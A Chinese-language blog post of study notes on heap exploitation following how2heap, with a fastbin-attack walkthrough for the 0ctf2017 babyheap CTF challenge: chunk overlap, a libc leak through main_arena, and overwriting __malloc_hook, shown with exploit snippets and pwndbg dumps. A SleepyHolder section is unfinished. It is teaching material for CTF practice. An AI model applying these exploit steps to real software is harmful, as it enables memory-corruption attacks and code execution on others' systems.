pwn入门笔记3

how2heap(fastbin attack)

(学习记录)跟着how2heap学堆溢出攻击

  • 0ctf2017 babyheap
  • 9447ctf2015 search-engine
  • Hitcon2016 SleepyHolder

原理

fastbin中的2free

fastbin dup into stack

fastbin dup consolidate

题目

0ctf2017 babyheap

程序分析

每个块的结构体如下

1
2
3
4
5
struct HEAP{
signed int flag;    //标记是否被分配
signed int size;    //请求申请的大小
void* chunk_m;    //chunk的mem值
}

内存泄漏

首先是要做内存泄漏,泄露的目标是一个small chunk的地址。为了达到这个目的,要获得一个指向这个small chunk的指针,然后还需要一个以这个指针的值为mem值的HEAP,最后Dump这个HEAP得到目的地址。

由此我们思路应该出来了:

先分配几个块

1
2
3
4
5
Allocate(0x10) #index=0
Allocate(0x10) #index=1
Allocate(0x10) #index=2
Allocate(0x10) #index=3
Allocate(0x80) #index=4

free掉两个块

1
2
Free(1)
Free(2)

伪造chunk,首先找到small chunk的地址,然后写进去

1
2
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
Fill(0,payload)

修改之后内存中堆的情况如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> bins
fastbins
0x20: 0x55f44871d040 —▸ 0x55f44871d080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x55f44871d000
0x55f44871d000: 0x0000000000000000 0x0000000000000021
0x55f44871d010: 0x0000000000000000 0x0000000000000000
0x55f44871d020: 0x0000000000000000 0x0000000000000021
0x55f44871d030: 0x0000000000000000 0x0000000000000000
0x55f44871d040: 0x0000000000000000 0x0000000000000021
0x55f44871d050: 0x000055f44871d080 ===>指向index=4的mem块 0x0000000000000000
0x55f44871d060: 0x0000000000000000 0x0000000000000021
0x55f44871d070: 0x0000000000000000 0x0000000000000000
0x55f44871d080: 0x0000000000000000 0x0000000000000091
0x55f44871d090: 0x0000000000000000 0x0000000000000000
0x55f44871d0a0: 0x0000000000000000 0x0000000000000000
0x55f44871d0b0: 0x0000000000000000 0x0000000000000000
0x55f44871d0c0: 0x0000000000000000 0x0000000000000000
0x55f44871d0d0: 0x0000000000000000 0x0000000000000000
0x55f44871d0e0: 0x0000000000000000 0x0000000000000000
0x55f44871d0f0: 0x0000000000000000 0x0000000000000000

现在是把freebins中的一个块的fd指向了一个small chunk,然后可以通过malloc取出fastbins链表中的内容,但malloc有个检查机制如下

1
2
3
4
5
6
7
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

所以还需要通过填充index=3的块来修改index=4的块的size才可以正常malloc

1
payload=p64(0)*3+p64(0x21)

修改后内存情况如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> bins
fastbins
0x20: 0x559e98c22040 —▸ 0x559e98c22080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x559e98c22000
0x559e98c22000: 0x0000000000000000 0x0000000000000021
0x559e98c22010: 0x0000000000000000 0x0000000000000000
0x559e98c22020: 0x0000000000000000 0x0000000000000021
0x559e98c22030: 0x0000000000000000 0x0000000000000000
0x559e98c22040: 0x0000000000000000 0x0000000000000021
0x559e98c22050: 0x0000559e98c22080 0x0000000000000000
0x559e98c22060: 0x0000000000000000 0x0000000000000021
0x559e98c22070: 0x0000000000000000 0x0000000000000000
0x559e98c22080: 0x0000000000000000 0x0000000000000021 ====>此处为修改后的size
0x559e98c22090: 0x0000000000000000 0x0000000000000000
0x559e98c220a0: 0x0000000000000000 0x0000000000000000
0x559e98c220b0: 0x0000000000000000 0x0000000000000000
0x559e98c220c0: 0x0000000000000000 0x0000000000000000
0x559e98c220d0: 0x0000000000000000 0x0000000000000000
0x559e98c220e0: 0x0000000000000000 0x0000000000000000
0x559e98c220f0: 0x0000000000000000 0x0000000000000000

此时再进行两次Allocate操作,fastbins链表为空,同时index=2的mem与index=4的mem指向同一块内存!对index=2进行操作就是对index=4的内存进行操作

1
2
Allocate(0x10) #index=1
Allocate(0x10) #index=2

现在我们就可以来释放small chunk了,记得修改它的size,让它被链人unsorted chunk,在free之前最好是请求一块small chunk,避免与top chunk合并。

1
2
3
4
payload=p64(0)*3+p64(0x91)
Fill(3,payload)
Allocate(0x80)
Free(4)

此时再输出index=2的内容,就可以得到<main_arena+88>的地址了

1
libc_addr = u64(dump(2)[:8].strip().ljust(8, "\x00"))

然后我们需要计算出它和libc_base之间的差值,查看一下libc_base的值

1
2
3
4
5
6
7
8
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x12c148746000 0x12c148747000 rw-p 1000 0
0x556f921ac000 0x556f921ae000 r-xp 2000 0 /home/nick/wyx/how2heap/babyheap
0x556f923ad000 0x556f923ae000 r--p 1000 1000 /home/nick/wyx/how2heap/babyheap
0x556f923ae000 0x556f923af000 rw-p 1000 2000 /home/nick/wyx/how2heap/babyheap
0x556f93a6e000 0x556f93a8f000 rw-p 21000 0 [heap]
0x7fa509503000 0x7fa5096c1000 r-xp 1be000 0 /lib/x86_64-linux-gnu/libc-2.19.so

用libc_addr-0x7fa509503000=0x3C27B8

最终libc_base的值如下

1
libc_addr = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3C27B8

获取shell

得到libc的地址之后,可以计算出malloc_hook的地址,然后再通过将该地址链入fastbins后malloc出来,改写该地址的内容。

首先查看一下内存中malloc_hook地址附近的数据

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/10gx 0x7f7fd9cb5730
0x7f7fd9cb5730 <__realloc_hook>: 0x00007f7fd9976f60 0x0000000000000000
0x7f7fd9cb5740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f7fd9cb5750: 0x0000000000000000 0x0000000000000000
0x7f7fd9cb5760 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f7fd9cb5770 <main_arena+16>: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7f7fd9cb5715 ===>为了便于构造chunk而偏移
0x7f7fd9cb5715 <severity_list+5>: 0x000000000000007f 0x7fd9976fc0000000
0x7f7fd9cb5725 <__memalign_hook+5>: 0x000000000000007f 0x7fd9976f60000000
0x7f7fd9cb5735 <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f7fd9cb5745 <__malloc_hook+5>: 0x0000000000000000 0x0000000000000000
0x7f7fd9cb5755: 0x0000000000000000 0x0000000000000000

算一下这个的值为多少:0x7f7fd9cb5750-0x7f7fd9cb5715=0x3B

1
2
Allocate(0x60) #index=4
Free(4)

由于我们前面已经有index=2的块指向index=4的块,我们重新malloc这个块,并将他free后链入freebins中。

1
2
payload = p64(libc_addr+0x3c4aed)
Fill(2,payload)

然后通过修改index=2的块,将malloc_hook地址附近的值放到index=4指向的块中,这时freebins中有两个空闲chunk,且大小均为0x60

1
2
Allocate(0x60) #index=4
Allocate(0x60) #index=6

将这两个chunk通过malloc从freebins中取出,这时,index=6的HEAP的mem的值就是malloc_hook的值。

1
2
payload = 
Fill(6,payload)

###9447ctf2015 search-engine

Hitcon2016 SleepyHolder

程序分析

三个功能选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v3 = atoi(&s);
v6 = v3;
switch ( v3 )
{
case 2:
delect();
break;
case 3:
update();
break;
case 1:
add();
break;
}
}

没有输出函数,大概思路应该是劫持got表,然后将其修改为puts()的地址,用以内存泄漏。再将其修改为system("/bin/sh"),拿到shell。

####got表劫持

说到got表劫持,我们会想到unlink,但是这个题目中,huge chunk不能重复写,也不能free,怎么办呢?这时候就需要用到fastbin dup consolidate。把这个huge chunk用一个“fast chunk”的指针去操作。

1
2
3
4
5
add(1,"1111")
add(2,"2222")
delete(1)
add(3,"3333")
delete(1)

从上述操作可以看到,我们首先创建一个fast bin,然后创建small bin,让它的堆块在huge bin

0%